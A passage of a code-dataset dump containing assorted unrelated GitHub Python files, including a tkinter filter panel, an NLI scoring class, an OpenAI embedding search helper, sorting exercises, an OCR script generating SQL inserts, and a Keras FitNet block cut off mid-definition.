\"NE\", filters)\n\n        self.filt_ne_var = tk.IntVar()\n        self.filt_ne_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" No emojis\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_ne_var,\n            command=ne_cbutton,\n        )\n        self.filt_ne_cbutton.grid(row=1, column=2, padx=pd * 3, sticky=\"w\")\n        self.filt_dict[3] = self.filt_ne_cbutton\n\n        #'no user tags' checkbutton\n        def nt_cbutton():\n            if self.filt_nt_var.get():\n                self.enact_filter(\"on\", \"index not in (3, 4)\", \"NT\", filters)\n            else:\n                self.enact_filter(\"off\", \"index not in (3, 4)\", \"NT\", filters)\n\n        self.filt_nt_var = tk.IntVar()\n        self.filt_nt_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" No user tags\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_nt_var,\n            command=nt_cbutton,\n        )\n        self.filt_nt_cbutton.grid(\n            row=2, column=0, padx=pd * 3, pady=pd, sticky=\"w\"\n        )\n        self.filt_dict[4] = self.filt_nt_cbutton\n\n        #'no replies' checkbutton\n        def nr_cbutton():\n            if self.filt_nr_var.get():\n                self.enact_filter(\"on\", \"index not in (3, 5)\", \"NR\", filters)\n            else:\n                self.enact_filter(\"off\", \"index not in (3, 5)\", \"NR\", filters)\n\n        self.filt_nr_var = tk.IntVar()\n        self.filt_nr_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" No replies\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_nr_var,\n            command=nr_cbutton,\n        )\n        self.filt_nr_cbutton.grid(\n            row=2, column=1, padx=pd * 3, pady=pd, sticky=\"w\"\n        )\n        self.filt_dict[5] = self.filt_nr_cbutton\n\n        #'no social' checkbutton\n        def ns_cbutton():\n            if self.filt_ns_var.get():\n                self.enact_filter(\"on\", \"index not in (3, 6)\", \"NS\", filters)\n            else:\n                self.enact_filter(\"off\", \"index not in (3, 6)\", \"NS\", filters)\n\n        self.filt_ns_var = tk.IntVar()\n        self.filt_ns_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" No social\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_ns_var,\n            command=ns_cbutton,\n        )\n        self.filt_ns_cbutton.grid(\n            row=2, column=2, padx=pd * 3, pady=pd, sticky=\"w\"\n        )\n        self.filt_dict[6] = self.filt_ns_cbutton\n\n        # custom filters button\n        def custom_filters():\n            self.custom_filter_pop = FilterPopUp(\n                master=master, pd=pd, filters=filters\n            )\n\n        self.custom_filter_button = ttk.Button(\n            self.filt_frame,\n            text=\" Custom filters \",\n            command=custom_filters,\n            style=\"internal2.TButton\",\n        )\n        self.custom_filter_button.grid(\n            row=3, column=0, sticky=\"w\", padx=pd * 2, pady=pd * 1.5\n        )\n\n    def enact_filter(self, action, index_condition, filt, filters):\n        # disable checkbuttons of incompatible filters\n        for index, cbutton in self.filt_dict.items():\n            if not eval(index_condition):\n                continue\n            elif action == \"on\":\n                cbutton.config(state=\"disabled\")\n            elif action == \"off\":\n                if (\n                    self.filt_ne_var.get()\n                    or self.filt_nt_var.get()\n                    or self.filt_ns_var.get()\n                    or self.filt_nr_var.get()\n                ) and index in (1, 2):\n                    continue\n                cbutton.config(state=\"active\")\n        # apply or remove filter\n        if action == \"on\":\n            filters.add_or_remove_filter(\"add\", filt)\n        elif action == \"off\":\n            filters.add_or_remove_filter(\"remove\", filt)\n","repo_name":"jakejones2/sc_comment_scraper","sub_path":"src/app/gui/filter_frame.py","file_name":"filter_frame.py","file_ext":"py","file_size_in_byte":6370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"246571610","text":"#!/usr/bin/env python\nfrom BZEngine.UI import Viewport, ThreeDRender, ThreeDControl\nfrom BZEngine import Event\nimport cPickle\n\nloop = Event.EventLoop()\nviewport = Viewport.OpenGLViewport(loop)\nview = ThreeDRender.View(viewport)\ncontrol = ThreeDControl.Viewing(view, viewport)\nviewport.setCaption(\"Sparks\")\n\nviewport.mode = Viewport.GL.ClearedMode(clearColor=(0, 0, 0, 1))\n\nview.camera.position = (0,0,5)\nview.camera.elevation = 0\nview.camera.distance = 17\nview.camera.jump()\n\nview.scene.add(cPickle.load(open(\"data/welding_sparks.particle\")))\nview.scene.add(cPickle.load(open(\"data/smoke.particle\")))\n\nloop.run()\n","repo_name":"scanlime/navi-misc","sub_path":"pybzengine/sparks.py","file_name":"sparks.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"38"}
{"seq_id":"40969731253","text":"import os\n\nAPPNAME = 'decentralized.js'\nVERSION = '0.0'\n\nXPINAME = '%s@mirix.org.xpi' % APPNAME\n\ndef configure(cfg):\n    cfg.check_tool('zip', tooldir=os.path.abspath('waftools'))\n\ndef build(bld):\n    bld(features='subst', source='install.rdf.in', target='install.rdf',\n        VERSION=VERSION)\n    bld(features='zip', source=['install.rdf'], target=XPINAME)\n    bld.install_files(\"${PREFIX}\", XPINAME)\n","repo_name":"AKSW/decentralized.js","sub_path":"wscript","file_name":"wscript","file_ext":"","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"73383054190","text":"import numpy as np\nfrom transformers import AutoTokenizer, __version__, AutoModelForSequenceClassification\nimport transformers\ntransformers.logging.set_verbosity_error()\nimport os\nimport torch\n\nclass NLI2Scorer:\n\n    def __init__(self,\n                 model = None,\n                 batch_size = 64,\n                 device = None,\n                 direction = 'rh',\n                 cross_lingual = False,\n                 checkpoint = 0\n                 ):\n        if device is None:\n            self.device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        else:\n            self.device = device\n        self.batch_size = batch_size\n        if cross_lingual:\n            self.model = model\n        else:\n            model = \"microsoft/deberta-large-mnli\"\n\n        self.model_name = model.split('/')[1] if '/' in model else model\n\n        self.checkpoint = checkpoint\n        self._tokenizer = get_tokenizer(model)\n        self._model = get_model(model, self.device, cross_lingual=cross_lingual, checkpoint=checkpoint)\n        self.direction = direction\n        self.cross_lingual = cross_lingual\n\n    @property\n    def hash(self):\n        return 'crosslingual({}+{})_{}'.format(self.model_name, self.checkpoint, self.direction) if self.cross_lingual else 'monolingual_{}'.format(self.direction)\n\n    def collate_input_features(self, pre, hyp):\n        tokenized_input_seq_pair = self._tokenizer.encode_plus(pre, hyp,\n                                                         max_length=self._tokenizer.model_max_length,\n                                                         return_token_type_ids=True, truncation=True)\n\n        input_ids = torch.Tensor(tokenized_input_seq_pair['input_ids']).long().unsqueeze(0).to(self.device)\n        token_type_ids = torch.Tensor(tokenized_input_seq_pair['token_type_ids']).long().unsqueeze(0).to(self.device)\n        attention_mask = torch.Tensor(tokenized_input_seq_pair['attention_mask']).long().unsqueeze(0).to(self.device)\n        return input_ids, token_type_ids, attention_mask\n\n    def score(self, refs, hyps):\n        probs = []\n        with torch.no_grad():\n            for ref, hyp in zip(refs, hyps):\n                if self.direction == 'rh':\n                    input_ids, token_type_ids, attention_mask = self.collate_input_features(ref, hyp)\n                else:\n                    input_ids, token_type_ids, attention_mask = self.collate_input_features(hyp, ref)\n\n                logits = self._model(input_ids,\n                                attention_mask=attention_mask,\n                                token_type_ids=token_type_ids,\n                                labels=None)[0]\n                prob = torch.softmax(logits, 1).detach().cpu().numpy()\n                probs.append(prob)\n        probs = np.concatenate(probs, 0)\n        if self.cross_lingual:\n            return probs[:, 2], probs[:, 1], probs[:, 0]  # c, n, e\n        return probs[:, 0], probs[:, 1], probs[:, 2]  #c, n, e\n\ndef get_tokenizer(model):\n    model_dir = 'models/' + model\n    if os.path.exists(model_dir):\n        tokenizer = AutoTokenizer.from_pretrained(model_dir, use_fast=False, cache_dir='.cache')\n    else:\n        tokenizer = AutoTokenizer.from_pretrained(model, use_fast=False, cache_dir='.cache')\n    return tokenizer\n\ndef get_model(model_name, device = 'cuda', cross_lingual=False, checkpoint=0):\n    model = AutoModelForSequenceClassification.from_pretrained(\n        model_name, num_labels=3, cache_dir='.cache')\n    model.eval()\n    model = model.to(device)\n    return model\n\n\n\n\n\n\n","repo_name":"cyr19/MENLI","sub_path":"experiments/metrics/NLI2Score.py","file_name":"NLI2Score.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"}
{"seq_id":"29874379622","text":"from tkinter import *\r\n\r\nroot = Tk()\r\nroot.title(\"Ascii Project\")\r\nroot.geometry(\"400x400\")\r\nroot.configure(background = \"pink\")\r\n\r\nenter_word = Entry(root)\r\nenter_word.place(relx=0.5, rely=0.3, anchor=CENTER)\r\nlabel = Label(root, text=\"Nome em Ascii: \", bg=\"light yellow\")\r\nlabel.place(relx=0.5,rely=0.5,anchor=CENTER)\r\n\r\ndef asciiConverter():\r\n    input = enter_word.get()\r\n\r\n    for letter in input :\r\n        label[\"text\"] += str(ord(letter)) + \" \"\r\n\r\nbtn = Button(root, text=\"Clique Aqui\", command=asciiConverter, bg='yellow', fg='purple')\r\nbtn.place(relx =0.5, rely=0.4,anchor=CENTER)\r\n\r\nroot.mainloop()","repo_name":"louiselalanne/Ascii_Name","sub_path":"ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21923148436","text":"import numpy as np\nimport requests, json, os, time, random\nfrom secret_things import openai_key\n\ndef singlecall_vector_search(query, strings):\n    # tip: you could scale up a bit by replacing embedding_api with something that can return already-stored embeddings\n\n    def embedder_api(strings):\n        headers = {\n            \"Authorization\": f\"Bearer {openai_key}\",\n            \"Content-Type\": \"application/json\"\n        }\n        data = {\n            \"input\": strings,\n            \"model\": \"text-embedding-ada-002\"\n        }\n        response = requests.post(\"https://api.openai.com/v1/embeddings\", headers=headers, json=data)\n        if response.status_code != 200:\n            print(vars(response))\n            raise Exception\n        else:\n            print('success')\n        data = response.json()['data']\n        return [d['embedding'] for d in data]\n\n    vectors = embedder_api([query, *strings])\n    query_emb = vectors[0]\n    strings_emb = vectors[1:]\n\n    triplets = sorted(\n        [(\n            n,\n            strings[n],\n            np.dot(query_emb,strings_emb[n])\n        ) for n in range(len(strings))],\n        key=lambda triplet: triplet[2],\n        reverse=True\n    )\n    return triplets\n\n# next level is multiple calls\n# then you have storage between each call, plus checking beforehand for existing data\n# oh and i should split it into getting data and performing a search\n\n# theres also rate limit management\n\ndef multicall_vector_search(query, strings):\n    def embedder_api(strings):\n        headers = {\n            \"Authorization\": f\"Bearer {openai_key}\",\n            \"Content-Type\": \"application/json\"\n        }\n        data = {\n            \"input\": strings,\n            \"model\": \"text-embedding-ada-002\"\n        }\n\n        if os.path.exists('last_call.txt'):\n            with open('last_call.txt', 'r') as f:\n                last_call = int(f.read())\n            wait_time = 20 - (time.time() - last_call)\n        else:\n            wait_time = 0\n        time.sleep(wait_time)\n        response = requests.post(\"https://api.openai.com/v1/embeddings\", headers=headers, json=data)\n        with open('last_call.txt', 'w') as f:\n            f.write(str(time.time()))\n\n        if response.status_code != 200:\n            print(vars(response))\n            raise Exception\n        else:\n            print('success')\n        data = response.json()['data']\n        return [d['embedding'] for d in data]\n\n    per_call = 50\n    vectors = []\n    for i in range(0, len(strings), per_call):\n        vectors += embedder_api(strings[i:i+per_call])\n\n    query_emb = vectors[0]\n    strings_emb = vectors[1:]\n\n    def do_search():\n        triplets = sorted(\n            [(\n                n,\n                strings[n],\n                np.dot(query_emb,strings_emb[n])\n            ) for n in range(len(strings))],\n            key=lambda triplet: triplet[2],\n            reverse=True\n        )\n        return triplets\n    return do_search()\n\n\n\n\n\ndef multicall_with_storage(strings, child_foldername=str(time.time())):\n    \"\"\"\n    helpers:\n        storefunc -- string, embedding -> None  (stores the embedding)\n        checkfunc -- string -> Bool  (checks if the string is already stored)\n        embedder_api -- strings -> embeddings\n    \"\"\"\n\n    # prepare for storage\n    parent_folder = 'embeddings'\n    child_folder = f'{parent_folder}/{child_foldername}'\n    for f in [parent_folder, child_folder]:\n        if not os.path.exists(f):\n            os.mkdir(f)\n\n    mapper_json_path = f'{child_folder}/mapper.json'\n    if os.path.exists(mapper_json_path):\n        with open(mapper_json_path, 'r') as f:\n            mapper = json.load(f)\n    else:\n        mapper = {}\n        with open(mapper_json_path, 'w') as f:\n            json.dump(mapper, f, indent=2)\n\n    def storefunc(string, emb):\n        path = f'{child_folder}/{time.time()}.json'\n        mapper[string] = {'path':path}\n        with open(mapper_json_path, 'w') as f:\n            json.dump(mapper, f, indent=2)\n\n        data = emb\n\n        with open(path, 'w') as f:\n            json.dump(data, f, indent=2)\n\n    def checkfunc(string):\n        if string in mapper:\n            return True\n        else:\n            return False\n\n    def embedder_api(strings):\n        print(json.dumps(strings, indent=2))\n        headers = {\n            \"Authorization\": f\"Bearer {openai_key}\",\n            \"Content-Type\": \"application/json\"\n        }\n        data = {\n            \"input\": strings,\n            \"model\": \"text-embedding-ada-002\"\n        }\n\n        if os.path.exists('last_call.txt'):\n            with open('last_call.txt', 'r') as f:\n                last_call = f.read()\n            try:\n                float(last_call)\n                last_call = float(last_call)\n            except:\n                last_call = 0\n\n            wait_time = max([20, 20 - (time.time() - last_call)])\n        else:\n            wait_time = 0\n        time.sleep(wait_time)\n        response = requests.post(\"https://api.openai.com/v1/embeddings\", headers=headers, json=data)\n        with open('last_call.txt', 'w') as f:\n            f.write(str(time.time()))\n\n        if response.status_code != 200:\n            print(vars(response))\n            raise Exception\n        else:\n            print('api call success')\n        data = response.json()['data']\n        data = sorted(data, key=lambda d: int(d['index']))\n        return [d['embedding'] for d in data]\n    \n    existing = []\n    new = []\n    for string in strings:\n        if checkfunc(string) == False:\n            new.append(string)\n        else:\n            existing.append(string)\n    print('\\n'.join([\n        f'existing={len(existing)}',\n        f'new={len(new)}',\n    ]))\n\n    per_call = 50\n    for i in range(0, len(new), per_call):\n        print(f'embedding {i}:{i+per_call}')\n\n        strings_subset = new[i:i+per_call]\n        embeddings_subset = embedder_api(strings_subset)\n\n        for s, e in zip(strings_subset, embeddings_subset):\n            storefunc(s, e)\n\n    print(f'stored {len(new)} embeddings (out of {len(strings)} existing) in {os.path.abspath(child_folder)}')\n\n# usage example of multicall_with_storage\nif 0:\n    name_of_some_book = 'harry potter and yo mama'\n    with open(f'{name_of_some_book}_strings.json', 'r') as f:\n        data = json.load(f)\n    strings = [s for s in data if len(s) > 0]\n    multicall_with_storage(strings, child_foldername=name_of_some_book)\n","repo_name":"AtillaYasar/random-collection-of-things","sub_path":"openai_vectorsearchengine.py","file_name":"openai_vectorsearchengine.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28504085486","text":"import math\n\nfilename = \"input.txt\"\n\nsea_map = [[0,]*1000 for i in range(1000)]\n\ndef print_map(sea_map):\n    for row in sea_map:\n        print(\"\".join([\".\" if char == \"0\" else char for char in [str(num) for num in row]]))\n        \n# print_map(sea_map)\n\nwith open(filename) as f:\n    for line in f:\n        vent = [[int(num) for num in pair.split(\",\")] for pair in line.strip().split(\" -> \")]\n        if vent[0][1] == vent[1][1]:\n            min_i = min(vent[0][0], vent[1][0])\n            max_i = max(vent[0][0], vent[1][0])\n            for i in range(min_i, max_i+1):\n                sea_map[vent[0][1]][i] += 1\n        if vent[0][0] == vent[1][0]:\n            min_i = min(vent[0][1], vent[1][1])\n            max_i = max(vent[0][1], vent[1][1])\n            for i in range(min_i, max_i+1):\n                sea_map[i][vent[0][0]] += 1\n        if abs(vent[0][0]-vent[1][0]) == abs(vent[0][1]-vent[1][1]):\n#             print(vent)\n#             print(abs(vent[0][0]-vent[1][0]), abs(vent[0][1]-vent[1][1]))\n            x_step = int(math.copysign(1, vent[1][0]-vent[0][0]))\n            y_step = int(math.copysign(1, vent[1][1]-vent[0][1]))\n#             print(x_step, y_step)\n            x_list = list(range(vent[0][0], vent[1][0]+x_step, x_step))\n            y_list = list(range(vent[0][1], vent[1][1]+y_step, y_step))\n#             print(x_list, y_list)\n            for x,y in zip(x_list, y_list):\n                sea_map[y][x] += 1\n            \n\n# print_map(sea_map)\n\nnum_plural = 0\nfor row in sea_map:\n    for num in row:\n        if num >= 2:\n            num_plural += 1\n\nprint(f\"num_plural={num_plural}\")","repo_name":"npetrangelo/AdventOfCode","sub_path":"2021/Day 5/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4141382321","text":"########################################################\n#####                  归并排序                     #####\n########################################################\n\ndef merge(num_1, num_2):\n    result = []\n    i, j = 0, 0\n    while i < len(num_1) and j < len(num_2):\n        if num_1[i] < num_2[j]:\n            result.append(num_1[i])\n            i = i + 1\n        else:\n            result.append(num_2[j])\n            j = j + 1\n    result = result + num_1[i:] + num_2[j:]\n    return result\n\n\ndef guibing(nums, order=1):\n    if len(nums) == 0:\n        return print(\"Please input a valid list\")\n    elif len(nums) == 1:\n        return nums\n    else:\n        middle = len(nums) // 2\n        left = guibing(nums[:middle])\n        right = guibing(nums[middle:])\n        final_result = merge(left, right)\n    if order == 1:\n        return final_result\n    else:\n        return final_result[::-1]\n\n\nnums = [11, 23, 43, 0, 8, 7, -8, -1, 14, 87, 34]\nprint(guibing(nums))\nprint(guibing(nums, order=1))\nprint(guibing(nums, order=0))\n","repo_name":"alpharol/Utils_alpharol","sub_path":"sort_algorithm/5.归并排序法.py","file_name":"5.归并排序法.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"26392247186","text":"import cv2 \nimport imutils\nimport os\nimport image_similarity_measures.quality_metrics\nimport pytesseract\nimport numpy as np\nimport sys\n\nclass Champion: \n    def __init__(self, name, node):\n        self.name = name\n        self.node = node\n\ndef clean_node_numbers_three(node):\n    if node == \"Aa\":\n        node = \"44\"\n    elif node == \"4&8\":\n        node = \"38\"\n    elif node == \"4%\":\n        node = \"49\"\n    elif node == \"oO\":\n        node = \"50\"\n    elif node == \"eB\":\n        node = \"28\"\n    elif node == \"on\":\n        node = \"51\"\n    elif node == \"a 3\":\n        node = \"3\"\n    elif node == \"os\":\n        node = \"25\"\n    elif node == \"qa\":\n        node = \"12\"\n    elif node == \"ag\":\n        node = \"23\"\n    elif node == \"og\":\n        node = \"29\"\n    elif node == \"oo\":\n        node = \"22\"\n    return node\n\ndef clean_node_numbers_two(node):\n    if node == \"415\":\n        node = \"15\"\n    elif node == \"a5\":\n        node = \"45\"\n    elif node == \"of\":\n        node = \"27\"\n    elif node == \"S\":\n        node = \"9\"\n    elif node == \"413\":\n        node = \"13\"\n    elif node == \"AZ\":\n        node = \"17\"\n    elif node == \"A\":\n        node = \"41\"\n    elif node == \"i?\":\n        node = \"2\"\n    elif node == \"ao\":\n        node = \"21\"\n    elif node == \"A4\":\n        node = \"44\"\n    elif node == \"Ne\":\n        node = \"52\"\n    elif node == \"a1\":\n        node = \"31\"\n    return node\n\ndef clean_node_numbers_one(node):\n    if node == \"Crs\":\n        node = \"37\"\n    elif node == \"cM\":\n        node = \"20\"\n    elif node == \"A?\":\n        node = \"47\"\n    elif node == \"nH?\":\n        node = \"7\"\n    elif node == \"1B\":\n        node = \"8\"\n    elif node == \"a1\":\n        node = \"a1\"\n    elif node == \"oa?\":\n        node = \"27\"\n    elif node == \"{Gg\":\n        node = \"9\"\n    elif node == \"49D\":\n        node = \"13\"\n    elif node == \"AF\":\n        node = \"17\"\n    elif node == \"Al\":\n        node = \"41\"\n    elif node == \"yo\":\n        node = \"18\"\n    elif node == \"EG\":\n        node = \"6\"\n    elif node == \"o4\":\n        node = \"24\"\n    elif node == \"ai\":\n        node = \"1\"\n    elif node == \"as\":\n        node = \"35\"\n    return node\n\ndef get_number(image):\n    image = imutils.resize(image, width=400)\n    crop = image[140:190, 230:320]\n    crop = cv2.pyrUp(crop)\n    gray_image = cv2.cvtColor(crop, cv2.COLOR_BGR2GRAY)\n    gray_image = cv2.GaussianBlur(gray_image, (5, 5), 0)\n    placeholder, gray_image = cv2.threshold(gray_image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU,)\n    gray_image = cv2.pyrUp(gray_image)\n    gray_image = cv2.pyrUp(gray_image)\n    inverted = np.invert(gray_image)\n    return pytesseract.image_to_string(inverted, config='--psm 6')\n\ndef calc_closest_val(dict, data_dir):\n        result = {}\n        closest = max(dict.values())\n        for key, value in dict.items():\n            if (value == closest):\n                result[key] = closest\n                image_name = key.replace(data_dir, \"\")\n                just_name = image_name.replace(\".jpg\", \"\")   \n                return just_name\n        return result\n\ndef find_champ(test_img):\n    values = {}\n    width = int(test_img.shape[1])\n    height = int(test_img.shape[0])\n    dim = (width, height)\n    data_dir = './champions/'\n    for file in os.listdir(data_dir):\n        if sys.platform.startswith('darwin'):\n            if file == '.DS_Store':\n                continue\n        img_path = os.path.join(data_dir, file)\n        data_img = cv2.imread(img_path)\n        resized_img = cv2.resize(data_img, dim, interpolation = cv2.INTER_AREA)\n        values[img_path] = image_similarity_measures.quality_metrics.psnr(test_img, resized_img)\n    champion_name = calc_closest_val(values, data_dir)\n    return champion_name\n    \nif __name__ == \"__main__\":\n    faces_path = \"./champions/\"\n    faces = os.listdir(faces_path)\n    path = './screenshots/'\n    screenshots = os.listdir(path)\n    filename = input(\"Enter SQL file name:\")\n    f = open(filename + \".sql\", \"w\")\n    print(\"sqlite3 \" + filename + \".db\")\n    f.write(\"sqlite3 \" + filename + \".db\\n\")\n    print(\"CREATE TABLE '\" + filename + \"' ('champ' text, 'node' integer);\")\n    f.write(\"CREATE TABLE '\" + filename + \"' ('champ' text, 'node' integer);\\n\")\n    champion_collection = list()\n    r = 1\n    while r < 4:\n        img = cv2.imread(path + screenshots[r])\n        img = imutils.resize(img, width=1400)\n        a = 168\n        b = 268\n        c = 630\n        d = 730\n        i = 0\n        j = 0\n        while i < 4:\n            while j < 5:\n                crop = img[a:b, c:d]\n                name = find_champ(crop)\n                name = name.strip()\n                node = get_number(crop)\n                node = node.strip()\n                node = node.replace(\",\", \"\")\n                node = node.replace(\".\", \"\")\n                node = node.replace(\")\", \"\")\n                node = node.replace(\"(\", \"\")\n                node = clean_node_numbers_one(node)\n                node = clean_node_numbers_two(node)\n                node = clean_node_numbers_three(node)\n                curr = Champion(name, node)\n                c += 88\n                d += 88\n                j += 1\n                u = 0\n                if (len(champion_collection) == 0):\n                    champion_collection.append(curr)\n                else:\n                    while u < len(champion_collection):\n                        if champion_collection[u].name != curr.name and champion_collection[u].node != curr.node:\n                            champion_collection.append(curr)\n                            break\n                        u += 1\n            j = 0\n            a += 98\n            b += 98\n            c = 630\n            d = 730\n            i += 1\n        i = 0\n        j = 0\n        r += 1\n    while i < len(champion_collection):\n        curr = champion_collection[i]\n        print(\"INSERT INTO \" + filename + \" (champ, node) VALUES('\" + curr.name + \"', \" + curr.node + \");\")\n        f.write(\"INSERT INTO \" + filename + \" (champ, node) VALUES('\" + curr.name + \"', \" + curr.node + \");\\n\")\n        i += 1","repo_name":"MarcYuMusic/myLMSC261","sub_path":"_Final Project/mcoc_generate.py","file_name":"mcoc_generate.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30653339152","text":"import random\nfrom typing import List\n\n\"\"\"\nbogosort\nランダムに並び替えて、順番通りに一致するかまでランダムにシャッフルする\n・適当だから遅い、ラッキー狙い、あまりつかわれない\n\"\"\"\n\ndef in_order(numbers: List[int]) -> bool:\n    for i in range(len(numbers) - 1):\n        if numbers[i] > numbers[i+1]:\n            return False\n    return True \n\ndef bogo_sort(numbers: List[int]) -> List[int]:\n    while not in_order(numbers):\n        random.shuffle(numbers)\n    return numbers\n\n\nif __name__ == '__main__':\n    nums = [random.randint(1, 1000) for _ in range(10)]\n    # print(nums)\n    print(bogo_sort(nums))\n    \n    ","repo_name":"Tsujiba/Python-Sample","sub_path":"algolism/01_sort/bogosort.py","file_name":"bogosort.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29678620253","text":"\"\"\"\n\n给你一个整数数组 arr 和一个整数 k 。\n\n设 m 为数组的中位数，只要满足下述两个前提之一，就可以判定 arr[i] 的值比 arr[j] 的值更强：\n\n |arr[i] - m| > |arr[j] - m|\n |arr[i] - m| == |arr[j] - m|，且 arr[i] > arr[j]\n请返回由数组中最强的 k 个值组成的列表。答案可以以 任意顺序 返回。\n\n中位数 是一个有序整数列表中处于中间位置的值。形式上，如果列表的长度为 n ，那么中位数就是该有序列表（下标从 0 开始）中位于 ((n - 1) / 2) 的元素。\n\n例如 arr = [6, -3, 7, 2, 11]，n = 5：数组排序后得到 arr = [-3, 2, 6, 7, 11] ，数组的中间位置为 m = ((5 - 1) / 2) = 2 ，中位数 arr[m] 的值为 6 。\n例如 arr = [-7, 22, 17, 3]，n = 4：数组排序后得到 arr = [-7, 3, 17, 22] ，数组的中间位置为 m = ((4 - 1) / 2) = 1 ，中位数 arr[m] 的值为 3 。\n\n\n示例 1：\n\n输入：arr = [1,2,3,4,5], k = 2\n输出：[5,1]\n解释：中位数为 3，按从强到弱顺序排序后，数组变为 [5,1,4,2,3]。最强的两个元素是 [5, 1]。[1, 5] 也是正确答案。\n注意，尽管 |5 - 3| == |1 - 3| ，但是 5 比 1 更强，因为 5 > 1 。\n\"\"\"\n\n\nclass Solution:\n    def getStrongest(self, arr: list, k: int) -> list:\n        arr.sort()\n        arr_len = len(arr)\n        median = arr[(arr_len - 1)//2]\n        ans = []\n        count = 0\n        left = 0\n        right = arr_len - 1\n        while count < k:\n            if abs(arr[left] - median) <= abs(arr[right] - median):\n                ans.append(arr[right])\n                right -= 1\n            else:\n                ans.append(arr[left])\n                left += 1\n            count += 1\n        return ans\n\n\nif __name__ == \"__main__\":\n    sol = Solution()\n    print(sol.getStrongest([6,7,11,7,6,8], 5))\n","repo_name":"SergioJune/leetcode_for_python","sub_path":"array/1471.py","file_name":"1471.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7681024205","text":"import tensorflow as tf\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import AveragePooling2D\nfrom tensorflow.keras.layers import concatenate\nfrom tensorflow.keras.layers import ReLU\nfrom tensorflow.keras.layers import Dropout\nimport time\nimport pickle\nimport os\n\n\nclass BatchHistory(tf.keras.callbacks.Callback):\n  \"\"\"\n  log history at each batch\n  \"\"\"\n\n  def on_train_begin(self, logs=None):\n    self.epoch = []\n    self.history = {}\n    print('model metrics: ', self.params['metrics'])\n\n  def on_epoch_begin(self, epoch, logs=None):\n    self.batch_logs = {metric: [] for metric in self.params['metrics']}\n\n  def on_epoch_end(self, epoch, logs=None):\n    print(' | epoch end batch logs: ', self.batch_logs)\n    logs = logs or {}\n    self.epoch.append(epoch)\n    for k in self.params['metrics']:\n      if k in logs:\n        self.history.setdefault(k, []).append(self.batch_logs[k].append(logs[k]))\n        print(' | %s history: %s' % (k, self.history[k]))\n\n  def on_batch_begin(self, batch, logs=None):\n    self.log_values = []\n\n  def on_batch_end(self, batch, logs=None):\n    logs = logs or {}\n    for k in self.params['metrics']:\n      if k in logs:\n        self.batch_logs[k].append(logs[k])\n\n\nclass FitNet4Block(Model):\n  def __init__(self, **kwargs):\n    super(FitNet4Block, self).__init__()\n\n    self.batch_norm = kwargs.get('batch_norm', False)\n    activation = kwargs.get('activation', ReLU)\n    verbose = kwargs.get('verbose', False)\n\n    # convolution filter sizes\n    conv1_filters = kwargs.get('conv1_filters', 64)\n    conv2_filters = kwargs.get('conv2_filters', 64)\n    conv3_filters = kwargs.get('conv3_filters', 64)\n    conv4_filters = kwargs.get('conv4_filters', 92)\n    conv5_filters = kwargs.get('conv5_filters', 92)\n    pool_size = kwargs.get('pool_size', (2, 2))\n\n    self.conv1 = Conv2D(filters=conv1_filters, kernel_size=(3, 3), padding='same')\n    self.act1 = activation()\n\n    self.conv2 = Conv2D(filters=conv2_filters, kernel_size=(3, 3), padding='same')\n    self.act2 = activation()\n\n    self.conv3 = Conv2D(filters=conv3_filters, kernel_size=(3, 3), padding='same')\n    self.act3 = activation()\n\n    self.conv4 = Conv2D(filters=conv4_filters, kernel_size=(3, 3), padding='same')\n    self.act4 = activation()\n\n    self.conv5 = Conv2D(filters=conv5_filters, kernel_size=(3, 3), padding='same')\n    self.act5 = activation()\n\n    self.pool = MaxPooling2D(pool_size=pool_size, padding='same')\n\n    if self.batch_norm:\n      self.bn1 = BatchNormalization()\n      self.bn2 = BatchNormalization()\n      self.bn3 = BatchNormalization()\n      self.bn4 = BatchNormalization()\n      self.bn5 = BatchNormalization()\n\n  def call(self, x, training=False):\n\n    x = self.conv1(x)\n    if self.batch_norm:\n      x = self.bn1(x, training=training)\n    x = self.act1(x)\n\n    x = self.conv2(x)\n    if self.batch_norm:\n      x = self.bn2(x, training=training)\n    x = self.act2(x)\n\n    x = self.conv3(x)\n    if self.batch_norm:\n      x = self.bn3(x, training=training)\n    x = self.act3(x)\n\n    x = self.conv4(x)\n    if self.batch_norm:\n      x = self.bn4(x, training=training)\n    x = 